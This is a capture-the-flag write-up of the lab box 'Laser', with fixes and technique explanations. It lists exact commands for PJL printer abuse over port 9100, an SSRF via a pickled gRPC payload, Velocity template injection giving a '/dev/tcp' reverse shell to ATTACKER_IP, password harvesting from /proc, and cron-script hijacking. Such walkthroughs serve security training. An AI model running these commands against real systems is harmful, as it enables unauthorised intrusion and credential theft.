Laser
Summary
I discovered a LaserCorp network printer on port 9100 that accepted unauthenticated PJL management commands over a raw TCP connection. Printer filesystem enumeration revealed a 172 KB spooled print job; exfiltrating it via PJL FSUPLOAD and decrypting the AES-CBC blob (IV and length header prepended) produced a PDF whose body contained the complete gRPC protobuf schema for an internal Feed Engine on port 9000. The Feed Engine accepted an unsanitised user-supplied URL inside a base64-pickled payload, giving a fully open server-side request forgery primitive that reached an Apache Solr instance on localhost.
The Solr staging core ran the unpatched VelocityResponseWriter; injecting a Velocity template expression through the SSRF channel executed OS commands as the solr service account and returned a reverse shell — along with the user flag. From that foothold, local enumeration found a recurring background task invoking sshpass with its SSH password as a plain-text command-line argument; a tight polling loop on /proc/<pid>/cmdline captured the credential while the process was alive, and it authenticated as root inside the adjacent Docker container. With container root access, I stopped the container sshd and relayed its port 22 to the host SSH via socat.
A key-authenticated host root cron job that normally connected to the container was redirected to the host itself and executed a world-writable /tmp/clear.sh — overwriting that script staged the root flag for pickup on the next cron tick, completing the container escape.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Full TCP port sweep to discover all open ports.
$ nmap -Pn -p- --min-rate 5000 $TARGETService-version and default-script scan on the three discovered ports.
$ nmap -Pn -sC -sV -p22,9000,9100 $TARGETFixFirewall port 9100 and disable unauthenticated PJL filesystem commandsCritical
Exact commands 2
Query the printer model via PJL INFO ID to confirm PJL is active; prefix with ESC%-12345X UEL sequence if the response is empty.
$ printf '@PJL INFO ID\r\n' | nc $TARGET 9100List the print job queue directory to discover stored files.
$ printf '@PJL FSDIRLIST NAME="0:\\pjl\\jobs" ENTRY=1 COUNT=999\r\n' | nc $TARGET 9100Exact commands 3
Download the full 172,199-byte spooled job via PJL FSUPLOAD.
$ printf '@PJL FSUPLOAD NAME="0:\\pjl\\jobs\\queued" OFFSET=0 SIZE=172199\r\n' | nc -q2 $TARGET 9100 > queued_raw.binDecode and AES-CBC decrypt the blob; replace <16-BYTE-KEY-FROM-NVRAM> with the key recovered via '@PJL INQUIRE' NVRAM variable enumeration.
$ python3 -c "import ast,base64,struct; from Crypto.Cipher import AES; raw=open('queued_raw.bin','rb').read(); b=base64.b64decode(ast.literal_eval(raw.decode())); iv=b[8:24]; ct=b[24:]; plain=AES.new(b'<16-BYTE-KEY-FROM-NVRAM>',AES.MODE_CBC,iv).decrypt(ct); open('job.pdf','wb').write(plain)"Compile the laser.proto schema extracted from the decrypted PDF into Python gRPC stubs.
$ python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. laser.protoFixNever print or spool documents containing internal schemas, credentials, or cryptographic materialHigh
Exact commands 2
Craft the base64-pickled payload pointing at internal Solr; copy the output for the next command.
$ python3 -c "import pickle,base64; print(base64.b64encode(pickle.dumps({'feed_url':'http://localhost:8983/solr/admin/cores?action=STATUS'})).decode())"Send the Feed RPC via stubs compiled from laser.proto; replace <BASE64_PICKLE_OUTPUT> with the value produced above.
$ python3 grpc_feed_client.py --host $TARGET --port 9000 --payload <BASE64_PICKLE_OUTPUT>FixValidate and allowlist URLs in the gRPC Feed Engine; replace unsafe pickle serialisationCritical
Exact commands 3
Start a listener on my machine before firing the payload.
$ nc -lvnp 4444Send the Velocity SSTI payload through the SSRF channel; the template calls Runtime.exec() with a base64-encoded 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1' reverse shell. Replace $ATTACKER_IP and URL-encode the full Velocity expression.
$ python3 grpc_feed_client.py --host $TARGET --port 9000 --feed_url "http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=<URL_ENCODED_VELOCITY_RCE_PAYLOAD>"Read the user flag via the established solr foothold (SSH key dropped by the reverse shell payload).
$ ssh -i /tmp/laser_solr_key -o BatchMode=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null solr@$TARGET 'cat /home/solr/user.txt'FixUpgrade Apache Solr and disable the VelocityResponseWriterCritical
Exact commands 2
Run from the solr shell on the host; polls /proc every 50 ms until sshpass appears and prints its full argument list including the plaintext password.
$ while true; do for d in /proc/[0-9]*; do exe=$(readlink "$d/exe" 2>/dev/null); [ "$exe" = /usr/bin/sshpass ] && tr '\0' ' ' < "$d/cmdline" 2>/dev/null && echo; done; sleep 0.05; doneAuthenticate to the Docker container as root with the captured credential to confirm access.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=6 root@$INTERNAL_HOST 'id; hostname; pwd'
uid=0(root)FixReplace sshpass command-line passwords with SSH key-based authentication for all automated tasksHigh
Exact commands 3
Stop the container sshd and relay container port 22 to the host SSH daemon so the next host root cron connection hits the host itself.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@$INTERNAL_HOST "systemctl stop sshd && socat TCP-LISTEN:22,fork,reuseaddr TCP:$TARGET:22 &"Overwrite the world-writable /tmp/clear.sh on the host with a payload that copies the root flag to a readable path.
$ ssh -i /tmp/laser_solr_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null solr@$TARGET 'printf "#!/bin/bash\ncp /root/root.txt /tmp/r.txt\nchmod 644 /tmp/r.txt\n" > /tmp/clear.sh; chmod +x /tmp/clear.sh'Wait up to one minute for the next cron tick, then read the copied root flag.
$ ssh -i /tmp/laser_solr_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null solr@$TARGET 'sleep 70 && cat /tmp/r.txt'FixRemove world-write permissions from all scripts executed by privileged cron jobsCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.